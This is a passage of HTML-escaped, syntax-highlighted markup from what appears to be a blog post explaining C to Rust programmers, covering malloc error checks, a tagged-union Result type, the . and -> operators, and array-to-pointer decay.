    &lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-C99 syntax-c&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-c&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Doing so provides a much better experience than a segfault, or worse, other unintentional behavior:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shellscript&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;Shell&quot;&gt;&lt;span class=&quot;syntax-source syntax-shell syntax-bash&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;$&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; ./main&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Error:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; Cannot allocate memory&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Of course, remembering to check every single allocated pointer isn&#39;t an amazing developer experience. An approach I played around with was recreating Rust&#39;s &lt;code&gt;Result&lt;/code&gt; in C using tagged unions:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;C&quot;&gt;&lt;span class=&quot;syntax-source syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-struct syntax-c&quot;&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;syntax-entity syntax-name syntax-struct syntax-c&quot;&gt;MallocResult&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-c&quot;&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-struct syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;
    &lt;span class=&quot;syntax-meta syntax-enum syntax-c&quot;&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;enum&lt;/span&gt; &lt;span class=&quot;syntax-entity syntax-name syntax-enum syntax-c&quot;&gt;Tag&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-c&quot;&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-enum syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt; OK&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; ERROR &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-enum syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-c&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; tag&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;syntax-meta syntax-union syntax-c&quot;&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;union&lt;/span&gt; &lt;span class=&quot;syntax-entity syntax-name syntax-union syntax-c&quot;&gt;Value&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-c&quot;&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-union syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;
        &lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-c&quot;&gt;*&lt;/span&gt; ptr&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-c&quot;&gt;*&lt;/span&gt; error_message&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
    &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-union syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-c&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; value&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-struct syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-c&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It&#39;s a complete mess to use, however, and there&#39;s &lt;em&gt;still&lt;/em&gt; nothing stopping you from immediately accessing &lt;code&gt;result.value.ptr&lt;/code&gt; without handling the error first. The lack of visibility modifiers like &lt;code&gt;private&lt;/code&gt; and &lt;code&gt;public&lt;/code&gt;, which could be used to prevent this, appear to be an intentional design decision. C places full trust in the programmer to &lt;em&gt;do things right™&lt;/em&gt; and gives few facilities for contracts or safe abstractions.&lt;/p&gt;
&lt;p&gt;I personally disagree with this approach. I&#39;m not some mastermind programming wizard who never makes mistakes. I&#39;d much rather encode program requirements into the type system so that the compiler can check them for me!&lt;sup class=&quot;citation-ref&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://bd103.dev/blog/2026-10-07-c-for-rust-programmers/#fn-fearless-simd&quot;&gt;[6]&lt;/a&gt;&lt;/sup&gt; That way, I can be reasonably certain that if the code compiles it was written correctly. But I digress.&lt;/p&gt;
&lt;h2&gt;Field Access Syntax&lt;/h2&gt;
&lt;p&gt;C has two different field access operators: &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://cppreference.com/c/language/operator_member_access#Member_access&quot;&gt;&lt;code&gt;.&lt;/code&gt;&lt;/a&gt; for values and &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://cppreference.com/c/language/operator_member_access#Member_access_through_pointer&quot;&gt;&lt;code&gt;-&amp;gt;&lt;/code&gt;&lt;/a&gt; for pointers.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;C&quot;&gt;&lt;span class=&quot;syntax-source syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-struct syntax-c&quot;&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;syntax-entity syntax-name syntax-struct syntax-c&quot;&gt;Foo&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-c&quot;&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-struct syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;
    &lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;int&lt;/span&gt; field&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-struct syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-c&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;struct&lt;/span&gt; Foo value &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-c&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-c&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;103&lt;/span&gt; &lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-c&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;struct&lt;/span&gt; Foo&lt;span class=&quot;syntax-keyword syntax-operator syntax-c&quot;&gt;*&lt;/span&gt; ptr &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-c&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-c&quot;&gt;&amp;amp;&lt;/span&gt;value&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;syntax-comment syntax-line syntax-double-slash syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-c&quot;&gt;//&lt;/span&gt; Accessing the field directly.
&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-c&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-c&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-constant syntax-other syntax-placeholder syntax-c&quot;&gt;%d&lt;/span&gt;&lt;span class=&quot;syntax-constant syntax-character syntax-escape syntax-c&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-c&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; value&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-c&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-member syntax-c&quot;&gt;field&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;syntax-comment syntax-line syntax-double-slash syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-c&quot;&gt;//&lt;/span&gt; Accessing the field through a pointer.
&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-c&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-c&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-constant syntax-other syntax-placeholder syntax-c&quot;&gt;%d&lt;/span&gt;&lt;span class=&quot;syntax-constant syntax-character syntax-escape syntax-c&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-c&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; ptr&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-c&quot;&gt;-&amp;gt;&lt;/span&gt;field&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This caught me off guard at first, as Rust uses &lt;code&gt;.&lt;/code&gt; for everything.&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://bd103.dev/blog/2026-10-07-c-for-rust-programmers/i-put-that-dot-on-everything.jpg&quot; alt=&quot;An old lady holding Frank&amp;#39;s Red Hot sauce, except Ferris the crab is photoshopped on top saying &amp;#39;I put that . on everything&amp;#39;&quot; loading=&quot;eager&quot; decoding=&quot;async&quot; fetchpriority=&quot;high&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;If your curious, &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://stackoverflow.com/a/13366168&quot;&gt;this Stack Overflow write up&lt;/a&gt; provides some interesting history on why the &lt;code&gt;-&amp;gt;&lt;/code&gt; operator exists.&lt;sup class=&quot;citation-ref&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://bd103.dev/blog/2026-10-07-c-for-rust-programmers/#fn-cursed-arrow-operator&quot;&gt;[7]&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;h2&gt;Arrays Become Pointers for Fun&lt;/h2&gt;
&lt;p&gt;Arrays have some weird nuance to them. Sometimes they are plain values with their length accessible using &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://cppreference.com/c/language/sizeof&quot;&gt;&lt;code&gt;sizeof()&lt;/code&gt;&lt;/a&gt;, other times they are pointers with an unknown size. In general, this is determined by whether you are handling the array within the function it was defined or not.&lt;/p&gt;
&lt;p&gt;To showcase what I mean, here&#39;s a very simple C program that prints the size of two arrays:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;C&quot;&gt;&lt;span class=&quot;syntax-source syntax-c&quot;&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;char&lt;/span&gt; declared_size&lt;span class=&quot;syntax-meta syntax-brackets syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-begin syntax-c&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-end syntax-c&quot;&gt;]&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-c&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-c&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;3&lt;/span&gt; &lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-c&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;char&lt;/span&gt; inferred_size&lt;span class=&quot;syntax-meta syntax-brackets syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-begin syntax-c&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-end syntax-c&quot;&gt;]&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-c&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-c&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;6&lt;/span&gt; &lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-c&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-c&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-c&quot;&gt;&amp;quot;&lt;/span&gt;Declared size (main): &lt;span class=&quot;syntax-constant syntax-other syntax-placeholder syntax-c&quot;&gt;%ld&lt;/span&gt; bytes&lt;span class=&quot;syntax-constant syntax-character syntax-escape syntax-c&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-c&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-word syntax-c&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;declared_size&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-c&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-c&quot;&gt;&amp;quot;&lt;/span&gt;Inferred size (main): &lt;span class=&quot;syntax-constant syntax-other syntax-placeholder syntax-c&quot;&gt;%ld&lt;/span&gt; bytes&lt;span class=&quot;syntax-constant syntax-character syntax-escape syntax-c&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-c&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-word syntax-c&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;inferred_size&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When run, this programs tells you that both arrays take 3 bytes of memory. Good!&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shellscript&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;Shell&quot;&gt;&lt;span class=&quot;syntax-source syntax-shell syntax-bash&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;$&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; ./main&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Declared&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; size (main&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 3 bytes&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Inferred&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; size (main&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 3 bytes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, let&#39;s make a slight modification. Let&#39;s pass &lt;code&gt;declared_size&lt;/code&gt; and &lt;code&gt;inferred_size&lt;/code&gt; through a function before printing its size:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;C&quot;&gt;&lt;span class=&quot;syntax-source syntax-c&quot;&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function syntax-c&quot;&gt;&lt;span class=&quot;syntax-entity syntax-name syntax-function syntax-c&quot;&gt;function&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-parameters syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-parameters syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;syntax-variable syntax-parameter syntax-c&quot;&gt;declared_size&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-brackets syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-begin syntax-c&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-end syntax-c&quot;&gt;]&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;syntax-variable syntax-parameter syntax-c&quot;&gt;inferred_size&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-brackets syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-begin syntax-c&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-end syntax-c&quot;&gt;]&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-c&quot;&gt; &lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin 